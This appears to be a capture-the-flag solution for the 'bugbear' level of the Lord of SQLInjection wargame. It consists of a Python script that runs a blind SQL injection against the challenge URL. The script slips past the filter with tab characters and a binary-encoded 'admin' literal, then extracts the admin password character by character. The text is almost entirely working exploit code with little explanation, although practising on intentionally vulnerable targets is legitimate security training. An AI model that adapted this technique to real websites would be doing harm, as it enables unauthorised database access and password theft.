[LOS] - bugbear - 190825

1. bugbear.py

import requests
 
URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
password = ''
index=0
strpassword= ''
while True:
        
        isit = False
        index += 1
        print('[+]Finding Password index : %d'%index)
        for i in range(0x26, 0x7f):
                # ?pw=a&no=1%09||%09id%09in%09(0b110000101100100011011010110100101101110)%09%26%26%09length(pw)%09in%09(8)%23
                
                query = '1\x09||\x09id\x09in\x09(0b110000101100100011011010110100101101110)\x09&&\x09left(pw,{0})\x09in\x09(0b{1}{2:{fill}8b})\x23'.format(index,strpassword,i, fill='0')
                
                paramDic ={
                        'pw':
                        'a',
                        
                        'no':
                        query
                        }
                print('[*]Sending Query : %s'%query)
                headers = {'Content-Type': 'application/json; charset=utf-8'}
                cookies = {'PHPSESSID':'sessionID'}
                
                response = requests.get(URL, params=paramDic, headers=headers, cookies=cookies)
                
                if "Hello admin" in response.text:
                        password += chr(i)
                        strpassword += '{0:{fill}8b}'.format(i, fill='0')
                        isit = True        
                        print('[+]Find Password : %s Index : %d' %(chr(i), index))
                        break
        if isit is False:
                break
        
print('[+]Password : %s'%password)